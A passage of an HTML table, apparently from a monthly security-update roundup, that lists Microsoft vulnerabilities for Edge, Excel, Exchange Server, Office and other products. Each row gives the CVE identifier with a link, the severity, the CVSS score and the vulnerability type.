  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
